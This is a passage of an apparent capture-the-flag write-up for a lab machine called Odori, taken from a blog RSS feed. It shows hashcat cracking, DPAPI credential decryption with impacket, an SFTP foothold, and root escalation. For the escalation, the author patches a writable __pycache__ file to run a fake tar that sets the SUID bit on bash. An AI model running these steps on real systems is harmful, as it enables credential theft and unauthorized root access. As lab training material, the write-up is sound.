Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists//rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 13088.5 kH/s (0.15ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/4 (25.00%) Digests (total), 0/4 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -&amp;gt; $HEX[042a0337c2a156616d6f732103]

Started: Thu Oct 22 19:44:24 2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When we grep for putty we see the following in the search history:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;System.ConnectedSearch.JumpList&quot;:{&quot;Value&quot;:&quot;[{\&quot;Type\&quot;:0,\&quot;Items\&quot;:[{\&quot;Type\&quot;:1,\&quot;Name\&quot;:\&quot;odori.pub\&quot;,\&quot;Path\&quot;:\&quot;C:\\\\Config\\\\odori.pub\&quot;,\&quot;Description\&quot;:\&quot;odori (C:\\\\Config)\&quot;,\&quot;Date\&quot;:\&quot;2025-1-11\&quot;,\&quot;Points\&quot;:2},{\&quot;Type\&quot;:1,\&quot;Name\&quot;:\&quot;odori.ppk\&quot;,\&quot;Path\&quot;:\&quot;C:\\\\Config\\\\odori.ppk\&quot;,\&quot;Description\&quot;:\&quot;odori (C:\\\\Config)\&quot;,\&quot;Date\&quot;:\&quot;2025-1-11\&quot;,\&quot;Points\&quot;:1},{\&quot;Type\&quot;:1,\&quot;Name\&quot;:\&quot;flag.txt\&quot;,\&quot;Path\&quot;:\&quot;C:\\\\Users\\\\Administrator\\\\Desktop\\\\flag.txt\&quot;,\&quot;Description\&quot;:\&quot;flag (C:\\\\Users\\\\Administrator\\\\Desktop)\&quot;,\&quot;Date\&quot;:\&quot;2025-1-11\&quot;,\&quot;Points\&quot;:1}]}]&quot;,&quot;Type&quot;:12}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which is interesting, however when we inspect the folders they seem empty.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scripts/backup.ps1:$SFTPUser = &quot;svc_backup&quot;
Windows/debug/PASSWD.LOG:01/11 05:27:40 Attempting password change server/domain FILE02 for user svc_backup
Windows/System32/Tasks/backup_data:      &amp;lt;UserId&amp;gt;FILE02\svc_backup&amp;lt;/UserId&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We try to extract the credentials from DPAPI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[BLOB]
Version          :        1 (1)
Guid Credential  : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion :        1 (1)
Guid MasterKey   : BB3025A7-E7D7-405E-BB83-13113F771DEB
Flags            : 20000000 (CRYPTPROTECT_SYSTEM)
Description      : Local Credential Data

CryptAlgo        : 00006610 (26128) (CALG_AES_256)
Salt             : b&apos;888fb43425c5b7e990ecc0b259db546484a2ce73737a95a9bb364b48c105897a&apos;
HMacKey          : b&apos;&apos;
HashAlgo         : 0000800e (32782) (CALG_SHA_512)
HMac             : b&apos;5d377d616e5977e003946f49d5c146e1b7f6ff3a44da7101128df3f146ac9996&apos;
Data             : b&apos;c50064de4238e5d7ed3fbc5470a5484249e39495136d0359da6e3381e1f81915f9ba6636de52a6c999cf8f5cd87e265e854e17ca1ffb7bcc055fa4a4d1ad28d1d8c49ffcc483614ca9d5d2258ea559d7e73e474e99df1f57c15eb5e7121938ceffad0e9ff0ccc4e9fdd4ac1d62f8dbd9f432ecf33272d68a1071ad9aa29e8baa6e1976258393fd14bfb3a212430c2756d711cffc5d0ca0b91cf0e48d2b878abc0b6b065b89f0c7fe3c5f957fe1ac78dc4fa3ca4fd062fd097594b0ee0bd0316d62c01d1163aaf7af0ad5e9556d377e4cf97be9f14c9245e9383ff45131b534caaef9249ad20d4494d41bcf0970a6f6c0db328a6a787d1a852bd535a7eb05fbd864db886c28cf7a248138e5cecd398a033ae146d196e657860343668df8be8f37&apos;
Sign             : b&apos;f4d4e00a3cf4caf35c57a3c31b8fa0c084e8eb9f4dfabbaf9405bad7218decea2c387d8f8b9b3dc3937592f0013bece7a74f6a756bce178c43ae6950e15a8671&apos;

Cannot decrypt (specify -key or -sid whenever applicable)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We find the GUID &lt;code&gt;BB3025A7-E7D7-405E-BB83-13113F771DEB&lt;/code&gt;.
In &lt;code&gt;Windows/System32/Microsoft/Protect/S-1-5-18/User&lt;/code&gt; we find the master key,
which we can decrypt using the dumped SYSTEM and SECURITY hives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ impacket-dpapi masterkey -file bb3025a7-e7d7-405e-bb83-13113f771deb -system ~/Shared/HTB/Odiri/SYSTEM -security ~/Shared/HTB/Odiri/SECURITY

[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
[*] NL$KM
Decrypted key with UserKey
Decrypted key: 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this key we can get the credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865c
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

KeyWord : Microsoft_WindowsLive:authstate:0
Data    :
 0000   01 00 00 00 D0 8C 9D DF  01 15 D1 11 8C 7A 00 C0   .............z..
 0010   4F C2 97 EB 01 00 00 00  A7 25 30 BB D7 E7 5E 40   O........%0...^@
 0020   BB 83 13 11 3F 77 1D EB  00 00 00 00 02 00 00 00   ....?w..........
 0030   00 00 10 66 00 00 00 01  00 00 20 00 00 00 B2 AE   ...f...... .....
 0040   C7 59 1F 5A D4 D7 E0 83  EE BD 50 16 20 86 0F C9   .Y.Z......P. ...
 0050   4A 93 C9 F9 DB 00 D4 68  3F BA 49 EA FB 1C 00 00   J......h?.I.....
 0060   00 00 0E 80 00 00 00 02  00 00 20 00 00 00 51 AD   .......... ...Q.
 0070   6A 57 26 10 C4 47 D6 36  AF 7D C0 57 15 1D 63 8B   jW&amp;amp;..G.6.}.W..c.
 0080   0E 6B FB A9 27 63 3B ED  6B 64 69 0C 65 2F 80 1E   .k..&apos;c;.kdi.e/..
 0090   00 00 09 9A 90 C5 26 76  F0 37 BB F6 3D A8 4B 92   ......&amp;amp;v.7..=.K.
 00a0   CE AD 08 6D 12 58 9C BD  3F 13 2B 41 F1 2D 03 E6   ...m.X..?.+A.-..
 00b0   2A DC 36 78 55 3E 15 A1  DB FF E6 A6 43 0D 7B 30   *.6xU&amp;gt;......C.{0
 00c0   A7 ED 03 BB EC 95 B3 1A  49 D0 A7 47 CB 11 2A 4A   ........I..G..*J
 00d0   37 0C C3 5C 48 DF A6 4E  2D 50 03 B0 0E 68 3E 0F   7..\H..N-P...h&amp;gt;.
 00e0   9F 26 BA 21 E3 27 B5 19  D0 BC B2 F4 BF 27 01 76   .&amp;amp;.!.&apos;.......&apos;.v
 00f0   81 AD 54 90 E8 CA 39 76  99 0D 2D 38 05 EC 0C 2E   ..T...9v..-8....
KeyWord : Microsoft_WindowsLive:authstate:1
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first one does not seem too interesting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1 -key 0xcf
24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c280486
8d08101865c
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-01-11 13:27:40+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Description :
Unknown     :
Username    : FILE02\svc_backup
Unknown     : Napping2Curator
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;p&gt;We seem to be able to authenticate.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ssh svc_backup@odori.htb
The authenticity of host &apos;odori.htb (10.129.131.29)&apos; can&apos;t be established.
ED25519 key fingerprint is: SHA256:mIGaInSzVAyqGLwJxqKASYEfFsomls34P/H0XmYb2Lk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &apos;odori.htb&apos; (ED25519) to the list of known hosts.
svc_backup@odori.htb&apos;s password:

[hangs]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But it gets stuck.
The script did use SFTP so it might only be possible to use that.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sftp svc_backup@odori.htb
svc_backup@odori.htb&apos;s password:
Connected to odori.htb.
sftp&amp;gt; ls
user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That does work!&lt;/p&gt;
&lt;p&gt;We can download the user flag now:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sftp&amp;gt; get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ cat user.txt
8c1dc48b009071afb9c42268316f9c78
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;Time for the priv esc, or maybe we first need to get a full shell.&lt;/p&gt;
&lt;p&gt;We inspect the &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; to see what sets our shell. We &lt;code&gt;get&lt;/code&gt; it locally and inspect it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat sshd_config
[...]

Match group svc_backup
	#ChrootDirectory /backup
	ForceCommand /opt/restrict /home/%u
	AllowTcpForwarding no
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this &lt;code&gt;/opt/restrict&lt;/code&gt; is used.
This is a bash script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we inspect the owner of the file we can see that we are the owner of it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sftp&amp;gt; ls -al /opt
drwxr-xr-x    3 root     root         4096 Apr 24 11:59 .
drwxr-xr-x   21 root     root         4096 Apr 24 11:59 ..
drwxr-xr-x    3 root     root         4096 Apr 24 11:59 archiver
-rwxrwxr-x    1 svc_backup root           48 Jan 11  2025 restrict
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means we can overwrite it with our own copy.&lt;/p&gt;
&lt;p&gt;We change it to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
/bin/bash
/usr/lib/openssh/sftp-server -d $1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After which we upload it back to the server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sftp&amp;gt; put restrict
Uploading restrict to /opt/restrict
restrict   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we now log in we get our shell!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ssh svc_backup@odori.htb
svc_backup@odori.htb&apos;s password:
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We run linpeas and find many kernel exploits.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./linpeas.sh
[...]
╔══════════╣ Kernel Exploit Registry (T1068)
═╣ Operating system ............. Linux
═╣ Kernel release ............... 5.15.0-177-generic
═╣ Comparable version ........... 5.15.0.177
═╣ Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..23)
═╣ Kernel config source ......... /boot/config-5.15.0-177-generic
CVE: CVE-2022-0847 | Name: DirtyPipe | Match data: pkg=linux-kernel,ver&amp;gt;=5.8,ver&amp;lt;=5.16.11 | Tags: ubuntu=(20.04|21.04),debian=11 | Rank: 1
CVE: CVE-2022-0995 | Name: watch_queue | Match data: pkg=linux-kernel,ver&amp;gt;=5.8,ver&amp;lt;5.16.5,x86_64 | Tags: ubuntu=21.10{kernel:5.13.0.37-generic} | Rank: 1 | Details: Not 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel.

╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)
╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available
╚ https://www.cve.org/CVERecord?id=CVE-2026-43284
╚ https://www.cve.org/CVERecord?id=CVE-2026-43500
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6
CVE-2026-43500 (rxrpc): autoloadable: rxrpc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;None of these seem to work.&lt;/p&gt;
&lt;p&gt;Enumerating the filesystem further we find something in &lt;code&gt;/opt/archiver&lt;/code&gt;.
Here &lt;code&gt;app.py&lt;/code&gt; checks if a file is old enough to be archived:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = &apos;/backup&apos;
archive_dir = &apos;/archive&apos;
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time &amp;lt; threshold_date:
                print(f&apos;Moving {file_path} to archive...&apos;)
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f&apos;{file_path} is not old enough to archive.&apos;)

if __name__ == &apos;__main__&apos;:
    scan_and_archive_files()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The helper then runs the tar command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime(&apos;%Y-%m-%d&apos;)
    tar_filename = os.path.join(archive_dir, f&apos;{current_date}_{os.path.basename(file_path)}.tar.gz&apos;)
    subprocess.Popen([&quot;/usr/bin/tar&quot;, &quot;-czf&quot;, tar_filename, &quot;-C&quot;, os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What is also interesting is that we have world-writable access to &lt;code&gt;__pycache__&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls -al
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Apr 24 11:59 __pycache__
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The pycache is used when a script in the directory is run, so we might be able to inject some code here.
Inspecting its contents shows that it is likely the cache for &lt;code&gt;helper.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;|^@¡^A^A^@d^@S^@)^GNz^H%Y-%m-%dÚ^A_z^G.tar.gzz^L/usr/bin/tarz^D-czfz^B-C)^Kr^B^@^@^@Ú^CnowÚ^HstrftimeÚ^BosÚ^DpathÚ^DjoinÚ^HbasenameÚ
subprocessÚ^EPopenÚ^GdirnameÚ^Fremove)^DÚ       file_pathÚ^Karchive_dirÚ^Lcurrent_dateÚ^Ltar_filename©^@r^R^@^@^@ú^W/opt/archiver/helper.pyÚ^Rtar_and_move_files^E^@^@^@s^H^@^@^@^N^A&quot;^A&amp;amp;^A^N^Ar^T^@^@^@)^Dr^F^@^@^@r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We cannot find a crontab that uses it, so we pull in &lt;code&gt;pspy&lt;/code&gt; to see what is going on.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./pspy64

2026/10/22 21:45:01 CMD: UID=0     PID=81033  | /usr/sbin/CRON -f -P
2026/10/22 21:45:01 CMD: UID=0     PID=81034  | /usr/sbin/CRON -f -P
2026/10/22 21:45:01 CMD: UID=0     PID=81035  | python3 /opt/archiver/app.py
[...]
2026/10/22 21:46:01 CMD: UID=0     PID=81044  | /usr/sbin/CRON -f -P
2026/10/22 21:46:01 CMD: UID=0     PID=81046  | python3 /opt/archiver/app.py
2026/10/22 21:46:01 CMD: UID=0     PID=81045  | /bin/sh -c python3 /opt/archiver/app.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see that root (UID=0) runs &lt;code&gt;/opt/archiver/app.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of compiling a perfect copy of the pycache, we just do a string replacement so that the tar path points to our own &lt;code&gt;/tmp/tar&lt;/code&gt;. That way, instead of running &lt;code&gt;/usr/bin/tar&lt;/code&gt;, root will run ours in &lt;code&gt;/tmp/tar&lt;/code&gt;. Since both strings are the same length we can safely substitute them without breaking the compilation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -i &apos;s|/usr/bin/tar|/tmp/tar|&apos; helper.cpython-310.pyc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we create &lt;code&gt;/tmp/tar&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod u+s /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives bash a suid bit, allowing us to spawn it as root.
Make it runnable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x /tmp/tar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the only thing to do is trigger the helper function.
For this the threshold must be reached:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;threshold_date = datetime.now() - timedelta(days=3*365)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this we can just touch a file with an older date.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ touch -d &apos;2000-01-01 00:00:00.000000000 +0000&apos; /backup/old
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should trigger the helper function and thus call our injected script.
Now we see that bash got its suid bit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We launch it with &lt;code&gt;-p&lt;/code&gt; to preserve its effective UID, i.e. keeping the root UID for us.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ /bin/bash -p
bash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After which we get the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cat /root/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lessons learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;BitLocker Windows disk can be mounted on Linux&lt;/li&gt;
&lt;li&gt;Windows secrets are layered:  &lt;code&gt;LSA secrets&lt;/code&gt; -&amp;gt; &lt;code&gt;DPAPI&lt;/code&gt; -&amp;gt; &lt;code&gt;masterkey&lt;/code&gt; -&amp;gt; &lt;code&gt;credential&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SFTP-jails are just SSH interface with a forced commando.&lt;/li&gt;
&lt;li&gt;Writable &lt;code&gt;__pycache__&lt;/code&gt; can be abused to get RCE as the &lt;code&gt;main.py&lt;/code&gt; script&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Dorp</author></item></channel></rss>